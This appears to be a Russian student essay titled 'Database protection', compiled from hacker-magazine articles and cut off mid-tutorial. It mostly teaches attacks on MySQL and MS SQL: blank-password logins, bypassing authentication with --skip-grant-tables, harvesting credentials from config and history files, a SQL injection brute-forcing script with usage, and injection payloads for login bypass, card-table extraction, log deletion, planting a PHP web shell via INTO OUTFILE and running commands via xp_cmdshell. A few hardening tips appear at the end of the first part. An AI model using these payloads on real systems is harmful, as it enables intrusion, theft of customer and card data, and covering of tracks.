Защита баз данных

Автор работы: Пользователь скрыл имя, 02 Октября 2009 в 19:14, Не определен

Описание работы

В реферате содержится информация о современных методах защиты баз данных.

Файлы: 1 файл

ЯП.docx

— 217.65 Кб (Скачать файл)

       Обзор уязвимостей с наглядными примерами 
 
Стало модным хранить информацию в БД - от сообщений на попсовых форумах до генетических кодов новейших белковых соединений. Понятно, что для хакеров такие базы являются предметом страстного желания и возможностью поправить свое материальное положение. А чтобы встать на защиту СУБД, надо понимать основные приемы ее взломщика. 
 
Несмотря на то что SQL-сервер находится за брандмауэром и принимает подключения только с доверенных машин, стащить важную информацию с него не так уж и сложно. Более того, для этого даже не нужно быть суперхакером, достаточно получить доступ к одному серверу из локальной сети, и данные окажутся в преступных руках. Если, конечно, администратор не уделил серверу особого внимания. 
 
Парольная проблема 
 
Чаще всего взлом СУБД происходит из-за "плохого" пароля или из-за его полного отсутствия. Но даже если он и существует, взломать БД для хакера не составит особого труда. Чтобы ты в полной мере осознал проблему, приведем ряд примеров-взломов (от простого к сложному). 
 
1. Как-то раз хакер баловался и сканировал nmap’ом какую-то русскую подсеть в зоне *.rose.ru, в которой находились серверы одного крупного хостера. Сканер записал в лог информацию об основных сервисах в этой подсети. На трех адресах (из 120) вертелись демоны MySQL. Хакеру стало интересно, какая информация хранится в этих СУБД. Он набрал в шелле команду "mysql –h host –u root", и... сервис сказал, что с его хоста не разрешено соединяться с базой. Тогда хакер попробовал другой хост, и... его пустили внутрь! Поразительно, но админ даже не удосужился установить пароль на вход. Кстати, информация была не такой уж и профанской: в БД хранились сведения о концертах каких-то московских музыкальных групп. Однако хакер ничего не стал изменять, а просто создал дополнительную базу с названием hack :). Через пару дней администратор ее заметил и взялся за ум. 
 
2. Поздним вечером другой хакер сканировал на различные сервисы буржуйскую подсеть (хакеры вообще любят сканировать порты) Windows'овским сканером LanGuard. Просмотрев его отчет по диагонали, он, к своей радости, обнаружил два хоста с открытым портом 1433. Это означало, что на сервере крутился небезызвестный MS SQL. Ситуация похожа на предыдущий случай. Первый демон не пустил в гости, а второй поддался. Только вместо логина root хакер использовал учетную запись sa с пустым паролем. В базе хранился каталог кредитных карт одного крупного интернет-магазина. По-видимому, админ решил поднять бэкап-сервер и не позаботился о защите. 
 
3. Подобным образом некий хакер несколько раз проникал на Windows'овские mysqld. Дело в том, что в ранних версиях разработчики забили на аутентификацию в Win32-сервисах. Действительно, даже при грамотной настройке сервис пускал абсолютно всех под любым именем пользователя без пароля :). Как-то раз, благодаря этому, хакеру удалось дефейснуть один популярный форум в локальной сети (правда, потом получил подзатыльник от администратора). Поэтому обязательно проверяй безопасность сервиса, если он крутится на Windows. 
 
Прицел на MySQL 
 
Большинство ценных баз данных хранятся в СУБД под названием MySQL. По правилам безопасности этот демон должен быть установлен на *nix-like-системах на отдельно взятом сервере. Но часто происходит так, что все сервисы (включая mysqld) вертятся на одной машине, обычно ради экономии денег. Отсюда возможности взлома MySQL. Ниже приводим три примера из жизни, чтобы показать проблему наглядно. 
 
Пример 1: Root - спаситель 
 
Рассмотрим один из типичных случаев взлома БД. Однажды некий хакер нашел сервер, на котором крутился бажный mod_php. Через пару часов эксплойт 7350fun предоставил ему шелл-доступ к машине. Быстро залив хороший backdoor, хакер зашел по телнету на порт 31337 ;), затем добил сервер известным эксплойтом для ядерной баги ptrace (не стоит говорить про то, как администраторы патчат ядра) и получил рутовые права. 
 
Помимо web-сервера, на машине располагался MySQL. По всем правилам порт 3306 был зафильтрован файрволом, на сервисе стоял сложный пароль и запрет на вход с посторонних машин. Однако mod_php и дырявое ядро создали все условия для хищения данных, лежащих в MySQL. Даже без знания заветного пароля хакер мог зайти в СУБД. Ему даже не пришлось копировать таблицы на свой винчестер и извращаться с заменой некоторых файлов. Он просто убил процесс mysqld, а затем запустил его с ключиком --skip-grant-tables. Оставалось лишь обратиться к БД под суперпользователем, и сервис впустил хакера без запроса пароля! Бережно скопировав нужные таблицы, хакер перезапустил демон в обычном режиме и удалился с сервера. Вся грязная работа была выполнена в кратчайшие сроки :). А в таблицах были пароли клиентов на раскрученный интернет-магазин... 
 
Пример 2: Поиск пароля 
 
Как-то раз в аську к некому хакеру постучался его друг и стал слезно умолять достать пароль одного недруга на форум, чтобы отправить несколько нецензурных сообщений от его имени. Работа была простая, взломщик даже нашел баг в www-скрипте, позволяющему выполнять команды на сервере. Хакер залил backdoor и забрался в консоль. К сожалению, на сервере стояла новенькая FreeBSD, для которой не существует хороших локальных эксплойтов. Следовательно, прием с перезапуском mysqld тут не прокатит. СУБД и web-сервер находились на одной машине, а хакер был наделен правами nobody. В таком положении ему требовалось найти конфиг от форума, что он успешно сделал с помощью команды "locate config.inc.php". В конфигурационном файле находилась учетная запись на сервис MySQL. Последняя команда "mysql –uuser –ppassword –e ‘select password from users where username=’user’’ forum" выдала хакеру зашифрованный пароль пользователя. Оставалось только расшифровать пароль с помощью Md5Inside (http://inattack.ru/program/25) или другого брутфорсера. 
 
Здесь же уместен другой случай взлома MySQL. Однажды некому хакеру посчастливилось подобрать пароль одного пользователя на раскрученном хостинге. Его права были урезаны по самые уши, даже компилятор не запускался. Тогда хакеру пришло в голову выполнить команду "find / -name *history". И что ты думаешь? Он нашел целых пять читабельных файлов .mysql_history. В них, конечно же, была строчка с паролем доступа в незашифрованном виде. Таким вот образом хакер получил доступ к пяти таблицам MySQL. Правда, информация там не была особо ценной, в основном аккаунты к форуму или к free email-сервису... 
 
Пример 3: Атака эксплойтом 
 
Не так давно для MySQL появился рабочий эксплойт. Суть его в том, что пользователь может отправить сложный пароль, переполнив буфер на серверной стороне. В итоге сервис авторизует клиента даже в том случае, если админ устанавливал сложнейший пароль. Обидно, но данный баг реально работает лишь в третьей версии mysqld. Но полгода назад (аккурат после выхода эксплойта) хакеры здорово поглумились над демонами. Через несколько дней после выхода эксплойта кто-то переделал MySQL-клиент и выложил его в public-источник. С виду это обычный бинарник, но на самом деле в него зашит вышеописанный эксплойт. С его помощью можно быстро проверить хост на уязвимость. Достаточно соединиться с сервером без указания пароля и, если версия сервиса устаревшая, тебя пустят внутрь. 
 
Помимо этого эксплойта, существуют и другие. Однако рассказывать про них не имеет смысла, потому что сейчас ты уже не найдешь дырявые версии. А пару лет назад была возможность не только проникнуть в СУБД, но и выполнять команды на сервере с правами суперпользователя. 
 
Кстати, о командах. Через MySQL невозможно выполнить запрос, который бы интерпретировался каким-либо шеллом. Однако никто не запретит тебе создать файл с произвольными данными, владельцем которого будет пользователь, под которым ты зашел в СУБД. Для этого выполняется нехитрый SQL-запрос: "SELECT * FROM table INTO OUTFILE ‘/home/user/blah.txt’". Если файл blah.txt существует, он успешно перезапишется. В некоторых целях этот трюк может быть очень полезен, особенно если зайти под рутовым аккаунтом. 
 
Атака MS SQL 
 
Вторая по популярности СУБД носит гордое имя MS SQL и используется на многих раскрученных (чаще всего зарубежных) серверах. Несмотря на то, что для этого сервиса вышло целых три сервиспака, баги в творении MicroSoft были, есть и будут :). 
 
Самый первый баг, о котором пишут уже много лет, заключается в недостаточной настройке MS SQL. Действительно, некоторые админы устанавливают сервер, видят, что все работает, и экспортируют ценную БД. Особо одаренные администраторы даже не задумываются, что вход в СУБД через пользователя sa с пустым паролем - не совсем безопасная идея :). Вспоминается случай, когда пару лет назад некий хакер проверял защиту одного зарубежного интернет-магазина, торгующего постерами. На главном сервере была установлена Windows с седьмым MS SQL. Факт отсутствия файрвола очень заинтриговал хакера. Он нашел в интернете клиент isql.exe, с помощью которого осуществляется обращение к СУБД, а затем попробовал залогиниться под пользователем Administrator. Хакера послали куда подальше, но он не стал отчаиваться, а просто сменил логин на sa. И... побывал внутри системы :). 
 
Получить доступ к MS SQL значит завладеть всей системой. В отличие отсвоих конкурентов, разработчики этой СУБД включили некоторые функции, выполняющие системные команды. Одна из них называется xp_cmdshell. Причем в ряде случаев никто не запрещает выполнять внешние запросы даже под гостевым логином (если администратор не уделил должное внимание настройке СУБД). К примеру, однажды хакер баловался одним сканером Windows, определяющим возможность гостевого входа. Примечательно, что хакерское творение реализовано в виде единого bat-файла, который быстро сканирует заданную подсеть на наличие гостевого входа в MS SQL. Чтобы проверить сеть на уязвимость, необходимо положить в каталог с файлом scan.bat (www.securitylab.ru/35715.html) клиент isql.exe, а затем запустить сканер с параметром адреса сети (192.168.0.1/24, например). Сначала bat-файл проверит наличие MS SQL, затем попробует залогиниться под гвестом, а после этого попытается выполнить командный запрос через встроенную функцию xp_cmdshell. Полгода назад этот способ работал на ура :). 
 
Как и для MySQL, к СУБД в Windows было написано очень много рабочих эксплойтов. Один из них до сих пор способен вызвать переполнение буфера в MS SQL SP2 и предоставить хакеру командный доступ к системе (www.packetstormsecurity.org/0211-exploits/sql2.cpp). Атака проводится на UDP порт 1434. Примечательно, но для осуществления взлома не потребуется знать логин и пароль на вход в MS SQL. Таким образом, в теории все сервисы до SP3 подчиняются хакеру. Но на практике это не так: эксплойт безбожно глючит при атаке на MS SQL SP2 и не всегда возвращает командный доступ при наличии SP1. 
 
Если сервер имеет активный MS SQL, но все вышеперечисленные приемы не дали желаемого результата, хакеры пробуют подобрать пароль к СУБД. В этом им помогает замечательная утилита mssqlpwd (www.packetstormsecurity.org/Crackers/mssqlpwd.zip), которая имеет вид пропатченного клиента. Достаточно скормить ей увесистый словарик, и процесс перебора пойдет своим ходом. 
 
Для MySQL также существуют переборщики. Один из известных брутфорсеров получил название hydra (thc.org). Этот многофункциональный Linux'овый переборщик способен осуществлять подбор паролей с поддержкой потоков, комболистов, словарей и т.д. Никто не запрещает запустить его в background на зарубежном шелле. При таком раскладе даже самый стойкий пароль обязательно подберется :). 
 
И, конечно же, MS SQL и MySQL ломаются традиционной SQL-инжекцией. При определенном раскладе хакер получит доступ к командному шеллу с правами system. Расписывать теорию SQL-инжекции нет смысла, так как в этом номере есть отдельная статья. 
 
Ты, наверное, заметил, что методы взлома MySQL и MS SQL несколько схожи. Действительно, эти СУБД построены на реляционной модели, поэтому язык обращения к ним практически одинаков. Что касается багов в самом софте, то хакеры уделяют одинаковое внимание как Windows, так и Linux. При таком раскладе администратор находится в самом невыгодном положении: он должен каждый день читать ленты багтрака и при необходимости скачивать обновления или свежие версии СУБД. Поэтому, если ты админ крупной СУБД, не спеши проверять чужие подсети на безопасность, а в первую очередь проведи аудит своей. 
 
Другие СУБД 
 
Кроме MySQL и MS SQL, существуют другие СУБД, с которыми можно встретиться на многих серверах. Это и многофункциональный PostgreSQL, и специфический Oracle. Приемы взлома этих БД во многом схожи с методами, описанными в статье. Для доступа к этим СУБД используются свои клиенты (pgsql и sqlplus соответственно). Но чаще обращаются к этим СУБД используя мощь языка Perl или PHP. Например, если хакеру известны логин и пароль на доступ к Oracle, но по какой-то причине он не может найти (запустить) клиент, то ему проще залить на сервер Perl'овый скрипт, а затем выполнить его. Код будет примерно таким: 
 
#!/usr/bin/perl 
 
use DBI; 
 
$TB=$ARGV[0]; 
 
$oradrh = DBI->install_driver( 'Oracle' ); 
 
$ENV{'ORACLE_SID'} = "web01"; 
 
$dataSource = "dbi:Oracle:$ENV{'ORACLE_SID'}"; 
 
$dbh=DBI->connect_cached($dataSource,root”,”mypwd”,{AutoCommit => 1 }) 
 
or die print"Can't connect to Oracle database: $DBI::errstr "; 
 
my $sql = qq{ SELECT * FROM $TB WHERE rownum <= 3 }; # Выполнить SELECT с выводом только трех значений (для краткости) 
 
my $sth = $dbh->prepare($sql); 
 
$sth->execute(); 
 
while($indexes=$sth->fetchrow_arrayref) { 
 
for($i=0;$i<=37;$i++) { 
 
print "obj: $indexes->[$i] # Вывести данные на экран 
 
"; 
 

 

 
$sth->finish(); 
 
Для PHP код будет уже другим. Вообще, сценарии - великая вещь. 
 
Ссылки на электронную литературу 
 
Чтобы быть в курсе уязвимостей в СУБД, достаточно посещать несколько сайтов (хотя бы раз в неделю) или подписаться на рассылку новостей. Ниже список ресурсов, где можно найти интересную информацию по взлому и защите СУБД. 
 
www.xakep.ru – информация о последних обнаруженных уязвимостях (для СУБД в том числе) плюс анонс новых выпусков "Хакер" и "Хакер-Спец". 
 
www.securitylab.ru – статьи по взлому баз данных, ссылки на заплатки, а также эксплойты (к примеру, эксплойт bypass auth для MySQL) для этих уязвимостей. 
 
www.security.nnov.ru – в разделе "Эксплойты" (www.security.nnov.ru/search.exploits.asp) есть несколько для атаки на MySQL и MS SQL. 
 
www.packetstormsecurity.org – в поиске (www2.packetstormsecurity.org/cgi-bin/search/search.cgi) задай ключевые слова MS SQL, MySQL, Oracle, PostgreSQL и т.п. 
 
www.opennet.ru – правильная настройка Unix и сервисов (настройка СУБД в том числе). 
 
Последняя версия Hydra умеет вести перебор паролей как для MySQL, так и для MS SQL. 
 
Запомни главное правило: при крупных проектах никогда не держи SQL-сервер и web-сервер на одной машине. 
 
Для MS SQL вышло уже три сервиспака. Взять их можно на microsoft.com. 
 
При настройке MS SQL обязательно выруби гостевой вход, смени имя пользователя и пароль, а также отключи функции выполнения внешних команд. 
 
Не стесняйся разделять права пользователям MySQL. Не давай право учетной записи форума иметь доступ ко всем остальным базам данных. 
 
Помимо авторизации по хостам и парольной аутентификации обязательно прикрывай порт сервиса файрволом, чтобы наверняка защитить свою СУБД. 
 
Все примеры даны лишь в ознакомительных целях. За применение на практике автор и редакция журнала ответственности не несут. 
 
Если у тебя возникнут дополнительные вопросы, пиши автору, он готов к общению

       Введение  
 
Я уверен, что тебе не раз приходилось тратить довольно много времени на такое нудное и малоинтересное занятие, как определение количества столбцов между SELECT и WHERE, перебор названий таблиц, посимвольный брутфорс при атаках вида SQL Injection. Не удивлюсь, если ты скажешь, что тебе уже порядком надоело делать это вручную, каждый раз встречая эту уязвимость. Данная статья рассчитана на человека, знакомого со SQL инъекциями - в ней мы рассмотрим методы их автоматизированной эксплуатации на примере использования PHP скрипта SQLBruter 0.2 (
скачать), созданного мною специально для этих целей.  
 
Изучение работы скрипта  
 
Прежде всего давай проанализируем все возможности, а также обязательные параметры для запуска скрипта. Итак, программа предоставляет четыре способа перебора:  
 
1. перебор количества выбираемых полей; 
2. названий таблиц;  
3. названий столбцов;  
4. посимвольный перебор;  
 
Кроме того, в скрипте предусмотрен вывод результатов в лог-файл и использование прокси для твоей анонимности. В качестве обязательных параметров тебе необходимо указать хост для подключения, путь к скрипту с уязвимым параметром и, конечно же, тип перебора. Таким образом, запуск программы осуществляется по следующей схеме:

       php sqlbruter.php HOST PATH MODE ADDITIONAL_PARAMS OPTIONS

       где MODE - порядковый номер метода перебора. Что касается дополнительных параметров, то они зависят от конкретного  способа брута.  
 
Весь принцип работы скрипта основывается на поиске строки, указанной пользователем через параметр <string>, в возвращенном ответе сервера на неверный запрос. Если она найдена, то программа будет продолжать перебор до тех пор, пока сервер не вернет совершенно иной ответ, то есть при выполнении условия. Думаю, здесь все просто и понятно, однако для правильной работы прежде всего нужно точно определить параметр <string>. Для этого необходимо выяснить реакцию web-приложения на запрос, содержащего кавычку в конце уязвимого параметра. В некоторых случаях в ответе сервера мы можем увидеть такую фразу:

       MySQL error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘…’ at line.

       Это означает, что разработчик скрипта  позаботился о выводе ошибок, и  при попытке подстановки неверного  количества столбцов сервер всегда возвратит  строку

       "The used SELECT statements have a different number of columns".

       Однако  в большинстве случаев выводится  стандартная ошибка

       PHP: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in z:homelocalhostwwwhackme.php on line 2.

       Стоит отметить, что тебе нужно передать скрипту строку, которая действительно  содержится в ответе. Например, просто указав

       Warning: mysql_fetch_array()

       ты  не получишь корректного результата, потому что в исходнике присутствуют HTML-тэги. Поэтому верным решением было бы -

       <b>Warning</b>: mysql_fetch_array()

       Теперь  давай рассмотрим каждый из методов  перебора более детально.  
Перебор количества выбираемых полей  
 
Для этого способа тебе потребуется указать всего один параметр – <string>. Как его определить, ты уже знаешь. Кроме него есть еще один, необязательный аргумент ( -n) , отвечающий за максимальное количество столбцов. Скрипт будет проводить перебор, пока не достигнет этого значения. По умолчанию параметр –n равен пятнадцати. Пример запуска программы для брута количества выбираемых полей:

       php sqlbruter.php localhost "/index.php?id=1" 1 "The used SELECT statements have a different number of columns" –n=25

         
Перебор названий таблиц  
 
Обычно, определив количество столбцов, хакер пытается вывести системную информацию с помощью SQL-функций user(), version(), database(). На основании полученных данных, он продумывает свои дальнейшее действия: если версия MySQL пятая, то ему не составит труда узнать названия всех таблиц благодаря системной базе данных information_schema, в которой также находятся и названия столбцов. Однако в четвертой версии и ниже подобной БД нет, поэтому остается лишь одно средство– брутфорс. Для перебора названий таблиц скрипту необходимо передать три обязательных параметра:

       <rows> - количество столбцов между SELECT и WHERE

       <string> - строка, которую вернул сервер  в ответ на неправильный запрос. Обычно при попытке перебора  названия таблицы сервер возвращает  ошибку "Table 'название_таблицы' doesn't exist".

       <dic> - путь к словарю, содержащему  предполагаемые названия таблиц. Обрати внимание на то, что  если твой словарь содержит  выражения языка SQL (например union, outer, select и т.д.), то ты не получишь  желаемого результата, так как  сервером будет возвращена другая  строка и, следовательно, программа  будет считать ее удовлетворяющей  условию. 

       Кроме того, у тебя есть возможность указать  префикс, который будет подставляться  к каждому имени таблицы из словаря, с помощью необязательного  параметра –pref. Пример запуска:

       php sqlbruter.php www.host.ru "/index.php?id=1" 2 13 "doesn't exist" "/home/root/words.dic" –pref=phpbb

         
Перебор названий столбцов  
 
Допустим, ты нашел таблицу users, названия столбцов которой тебе неизвестны. В этом случае тебе снова не обойтись без перебора. Для запуска скрипта тебе потребуется указать почти все те же параметры, что и при переборе таблиц, за исключением аргумента <table> - название таблицы, столбцы которой мы будем брутить. Таким образом, запускать программу будем так:

       php sqlbruter.php 127.0.0.1 "/index.php?id=1" 3 13 "users" "Unknown column" "/home/root/words.dic"

         
Посимвольный перебор  
 
Я уверен, что ты слышал про такой вид атак, как blind SQL injection. Как известно, это обычная SQL инъекция, однако не выводятся сообщения об ошибках. Использовать этот способ уместно в случаях, когда версия MySQL третья и ниже, а также, когда мы не имеем возможности непосредственно изменить выводимые данные. Использование скриптов для успешной эксплуатации подобных уязвимостей просто необходимо. В интернете существует множество программ для этих целей, однако я рекомендую применять именно мой скрипт, так как он универсален. Для его запуска в режиме посимвольного перебора нужно указать два обязательных параметра:

       <query> - запрос, результат выполнения которого  мы будем перебирать (например, user(), version(), database()). Если ты указал в  качестве параметра <query> запрос  типа "SELECT password FROM users WHERE username='admin'", то его необходимо заключить  в скобки.

       <string> - строка, которая должна присутствовать  в выведенном ответе web-сервера  при выполнении условия. 

       Также необходимо уделить особое внимание диапазону перебираемых символов. Его  можно указать через параметр –r, разделив двоеточием минимальное  и максимальное значения порядковых номеров ASCII-символов. Например, аргумент -r равный 48:57 будет соответствовать  поиску всех чисел. По умолчанию скрипт перебирает диапазон символов a…z, что  соответствует кодам 97…122. Итак, запускаем  следующим образом:

       php sqlbruter.php 127.0.0.1 /index.php?id=1 4 "version()" "Hacked!" -r=48:122

        
 
Необязательные параметры  
 
Как уже упоминалось выше, в скрипте предусмотрены необязательные параметры, общие для каждого из способов перебора.

       -o =[file] - вывод результатов в лог-файл (например, -o="/home/root/result.txt");

       -p=[port] - порт (по умолчанию 80);

       -P=[ip:port] - использование прокси (например, -P=127.0.0.1:8080).

       Необязательные  параметры необходимо указывать  только после определения всех остальных.  
 
Заключение  
 
Надеюсь, в данной статье ты нашел для себя что-то новое и теперь тебе не придется часами гадать названия таблиц. Напоследок стоит сказать, что немаловажную роль в быстродействии работы скрипта играют пропускная способность канала, а также версии PHP и MySQL, установленных на удаленной машине. Например, при раскладе PHP 5.1.2 + MySQL 5.0.18 скорость брута на 35% выше, чем при PHP 4.4.2 + MySQL 4.1.16. Также хочу отметить, что на данный момент существуют аналоги этой программы, например
Injection Analyzer от Kuzya.  
 
P.S. Уверен, мой скрипт не без греха, поэтому поправки приветствуются!

       SQL Injection howto 
 
Не секрет, что баги в скриптах всегда были ахиллесовой пятой многих веб-ресурсов. Просканишь хост, посмотришь, какие сервисы и каких версий там крутятся, и опускаешь руки - просто неоткуда подступиться. Все лишнее закрыто фаерволом, а то, что открыто - пропатчено до последних версий. Засекурено по максимуму. И тут исход взлома решает какая-то байда в скрипте, заставляющая прыгать от радости. 
 
Итак, сегодня на повестке дня - техника взлома скриптов, почти по-наркомански называемая SQL injection. Для понимания всех прелестей этой фишки неплохо бы немного знать, что такое SQL, или, по-нашему, скуль. Об этом очень кратко читай в следующих абзацах. 
 
Ликбез по SQL 
 
Язык SQL (Structured Query Language) на сегодняшний день является стандартом де-факто практически для всех распространенных серьезных СУБД. Он предназначен для составления запросов к базе данных. Запросы могут иметь цель добавить некоторые данные в базу, их модификацию, поиск и т.д. Работает это следующим образом. На языке SQL составляется некоторое выражение (запрос). Затем оно передается серверу базы данных, который, в свою очередь, обрабатывает его и возвращает результат этой обработки программе, сделавшей запрос. 
 
Язык SQL достаточно удобен и очень прост для изучения, благодаря чему он получил такое широкое распространение - большая часть мало-мальски серьезных cgi-скриптов работают с базами данных, используя SQL. 
 
Любая база данных - это набор таблиц, предназначенных для хранения однотипной информации. Каждая таблица имеет имя и состоит из записей. Запись - это своего рода единица информации, хранимая в базе данных. Информация в записи поделена на поля. Вот пример таблицы: 
 
cc_type, cc_number, cc_holder - названия полей. 
 
Вторая строка - это запись. 
 
Visa, 123, Agent Smith - значения полей записи. 
 
При помощи языка SQL можно производить различные операции с базой данных, таблицами и записями. Основные команды языка: 
 
SELECT - извлечение инфы из таблицы. 
 
INSERT - добавление записи в таблицу. 
 
UPDATE - изменение записи. 
 
DELETE - удаление записи. 
 
Простейшее SQL-выражение может выглядеть так: 
 
SELECT cc_number, cc_holder FROM cc_table WHERE cc_type='visa' 
 
Ключевое слово FROM указывает таблицу, к которой будет применяться это выражение. После необязательного WHERE идет условие, определяющее, по каким параметрам будут отфильтровываться записи таблицы. Результатом данного запроса станет извлечение из таблицы cc_table записей, в которых поле cc_type имеет значение 'visa'. Программе, передавшей данный запрос базе данных, будут возращены не полные записи, а только поля cc_number и cc_holder. 
 
После WHERE может содержаться несколько условий, разделенных логическими операторами: 
 
WHERE cc_type='visa' AND cc_number=1234 OR cc_number=4321 
 
Как было сказано, добавление записей производится командой INSERT. Вот пример запроса: 
 
INSERT INTO cc_table VALUES ('amex', 12345, 'Neo') 
 
Результатом обработки запроса станет добавление в таблицу cc_table новой записи, в которой поле cc_type примет значение 'amex', cc_number - 12345, cc_holder - 'Neo'. 
 
Вот пример с UPDATE: 
 
UPDATE cc_table SET cc_number=12345 WHERE cc_holder='Agent Smith' 
 
Здесь произойдет просмотр таблицы cc_table. Если в соответствующих записях значение поля cc_holder будет равно 'Agent Smith', то значение cc_number сменится на 12345. 
 
А это запрос DELETE: 
 
DELETE FROM cc_table WHERE cc_type='visa' 
 
Удалятся все записи из таблицы, где поле cc_type равно значению 'visa'. 
 
На этом небольшой ликбез по SQL закончился. Теперь можно приступить к самому вкусному. Тому, ради чего поднялся весь сыр-бор: SQL injection. 
 
SQL injection 
 
Суть ошибок класса SQL injection состоит в том, что из-за некорректной обработки данных, передаваемых скрипту, потенциальный хакер может изменить составляемый скриптом SQL-запрос со всеми вытекающими отсюда последствиями. К примеру, в случае с инет-магазином, он может таким образом изменить запрос, что SQL-сервер после его обработки выдаст все содержимое таблицы, в которой содержится инфа о предыдущих клиентах магазина, включая номера их кредитных карточек и т.д. и т.п. 
 
Это может выглядеть следующим образом. Предположим, что в составе интернет-магазина присутствует скрипт, принимающий от юзера логин и пароль и выдающий инфу о его предыдущих покупках, номерах карточек и т.д. Логин и пароль загоняются скриптом в следующее SQL-выражение, которое передается серверу базы данных: 
 
SELECT * FROM clients WHERE login='$login' AND password='$password' 
 
В результате обработки данного выражения сервер возвращает скрипту все записи в таблице, соответствующие логину юзверя. 
 
Данные, введенные юзверем ($login и $password), берутся из web-формы и напрямую подставляются в это SQL-выражение. Отсюда появляется возможность хитрым образом так задать логин и пароль, что логика SQL-выражения немного изменится, в результате чего сервер базы данных возвратит записи из таблицы clients, соответствующие всем клиентам магазина со всеми данными о них. К примеру, это можно сделать так: в качестве логина задать такую строку: "nobody' OR ''='", а в качестве пароля "nopassword' OR ''='". С использованием этих данных скрипт сформирует такое выражение: 
 
SELECT * FROM clients WHERE login='nobody' OR ''='' AND password='nopassword' OR ''='' 
 
И под это SQL-выражение будут попадать все записи таблицы clients, т.к. login='nobody' OR ''='' и password='nopassword' OR ''='' всегда будут истинными. Так хакеры и ломают многие базы данных. 
 
Собственно говоря, мы сделали то, что принято называть SQL injection. Дальше же будут приведены некоторые особо часто используемые трюки, которые проворачивают, если есть хоть какая-то возможность повлиять на SQL-выражение. 
 
UNION 
 
В предыдущем примере мы предположили, что вся инфа о юзверях содержится в таблице clients. Немного изменим условия. Допустим, в таблице clients находятся просто записи о клиентах - имена, фамилии и т.д. Номера же кредитных карточек располагаются в другой таблице, допустим, cards. Соответственно, теперь стоит задача вытянуть инфу из этой таблицы, смодифицировав уже указанный выше запрос: 
 
SELECT * FROM clients WHERE login='$login' AND password='$password' 
 
Здесь на помощь приходит такой элемент языка SQL, как UNION. UNION обычно используется в случае необходимости объединить результаты обработки двух запросов в один: 
 
SELECT smth FROM table1 UNION SELECT smth FROM table2 
 
Заюзав UNION, можно добавить еще один SELECT, который будет извлекать инфу из таблицы cards. Для этого в качестве пароля в форме может быть задано что-то вроде этого: 
 
' UNION SELECT * FROM cards WHERE ''=' 
 
В итоге получается: 
 
SELECT * FROM clients WHERE login='nologin' AND password='nopassword' UNION SELECT * FROM cards WHERE ''='' 
 
После приема такого запроса произойдет вывод всего содержимого таблицы cards. 
 
При использовании UNION необходимо учитывать следующий момент. Оба SELECT'а должны выдавать одинаковое количество столбцов, иначе произойдет глюк. Грубо говоря, если в таблице clients - всего 4 столбца, а в cards - 5, вышеуказанный пример работать не будет. Чтобы он все-таки заработал, надо задать не "SELECT *", а, например, "SELECT type, number, holder, address". 
 
Использование разделителей SQL-выражений 
 
Если sql-сервер позволяет задавать в одном запросе несколько SQL-выражений, разделенных некоторым символом, то это открывает перед потенциальным атакующим более широкие возможности. Следует отметить, что фичи такого рода поддерживаются далеко не всеми серверами баз данных. К примеру, Microsoft SQL Server позволяет это делать, интерпретируя в качестве разделителя символ ';', а MySQL - нет. 
 
Опять небольшой пример с использованием того же SQL-выражения, что и выше. Допустим, веб-магазин использует базу данных, крутящуюся на скульном сервере от Дяди Билли. Допустим также, что атакующему надо почистить логи, которые скрипт сохраняет в таблицу logs, содержащую поле с именем remote_ip. Ему надо удалить все записи, содержащие в поле remote_ip его IP-адрес. Удаление записей производится при помощи SQL-команды DELETE. Соответственно, удаление логов может выполняться командой: 
 
DELETE FROM logs WHERE remote_ip='IP address' 
 
Без использования разделителей совместить оригинальное выражение 
 
SELECT * FROM clients WHERE login='$login' AND password='$password' 
 
с DELETE затруднительно. А с их использованием все делается на раз-два. Достаточно в качестве пароля забить в форму, например, "nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2", и все становится на свои места: 
 
SELECT * FROM clients WHERE login='nologin' AND password='nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2' 
 
Теперь логи почищены. 
 
Естественно, что помимо DELETE после разделителя можно забить ЛЮБУЮ SQL-конструкцию, поддерживаемую сервером: SELECT, INSERT, UPDATE и т.д. 
 
Вывод в файл 
 
Некоторые SQL-сервера позволяют выводить результаты обработки SQL-выражений во внешний файл. Когда это может быть полезным? Самое первое, что может прийти на ум хакеру - это собрать какой-нить скрипт, облегчающий дальнейшее юзание сервера. К примеру, php-шелл. 
 
В сервере MySQL вывод в файл происходит посредством команды INTO OUTFILE. В простейшем случае это делается так: 
 
INSERT '<? system($cmd) ?>' INTO OUTFILE /www/inetshop/htdocs/shell.php 
 
Если наш вебшоп с багой "крутится" на MySQL, то втупую проинжектить select этим запросом не получится - MySQL, к сожалению, не поддерживает разделителей. 
 
Ситуацию спасает то, что "INTO OUTFILE" может использоваться вместе с SELECT'ом, выдавая результат обработки запроса (т.е. содержимое таблицы) не скрипту, сделавшему запрос, а напрямую в файл. Но тут возникает еще одна проблема. Нужная строка, которую надо записать в файл, должна уже присутствовать в базе. Если в магазине присутствует скрипт регистрации, то что мешает зарегистрироваться и в качестве имени юзера, пароля или еще чего-нибудь задать нужную строку? После регистрации надо сделать так, чтобы оригинальный запрос принял, скажем, такую форму: 
 
SELECT * FROM clients WHERE login='<? system($cmd) ?>' AND password='our_password' INTO OUTFILE '/www/inetshop/htdocs/shell.php' 
 
Как нетрудно догадаться, для успешного "инжектирования" логин должен быть - "<? system($cmd) ?>", а пароль - "ourpassword' INTO OUTFILE '/www/inetshop/htdocs/filename". 
 
В MS SQL вывод в файл происходит несколько иначе. В поставке с ним идет большое количество модулей, содержащих различные процедуры, которые можно вызывать непосредственно из SQL-выражения. Одна из них - master.dbo.sp_makewebtask - как раз предназначена для вывода результатов выполнения скульных выражений в файл: 
 
EXEC sp_makewebtask 'c:inetpubwwwrootshell.php', "скульное выражение" 
 
Ключевое слово EXEC предназначено для выполнения внешних процедур, какой и является sp_makewebtask. Используя разделители, эту строчку можно вогнать в поле веб-формы, предназначенное для пароля, и получить на выходе отличный скриптец. 
 
Исполнение команд шелла 
 
Иногда можно избежать процесса сборки скриптов, т.е. не использовать средства вывода в файл, а сделать выполнение команд шелла прямо из SQL-выражения. Эта фича, естественно, не входит в спецификацию языка SQL, поэтому, как и вывод в файл, ее наличие или отсутствие полностью лежит на совести разработчика сервера. 
 
Например, исполнение шелл-команд возможно в MS SQL Server путем использования процедуры master.dbo.xp_cmdshell. Юзается это довольно просто. Вот пример SQL-выражения: 
 
EXEC master.dbo.xp_cmdshell 'cmd.exe dir' 
 
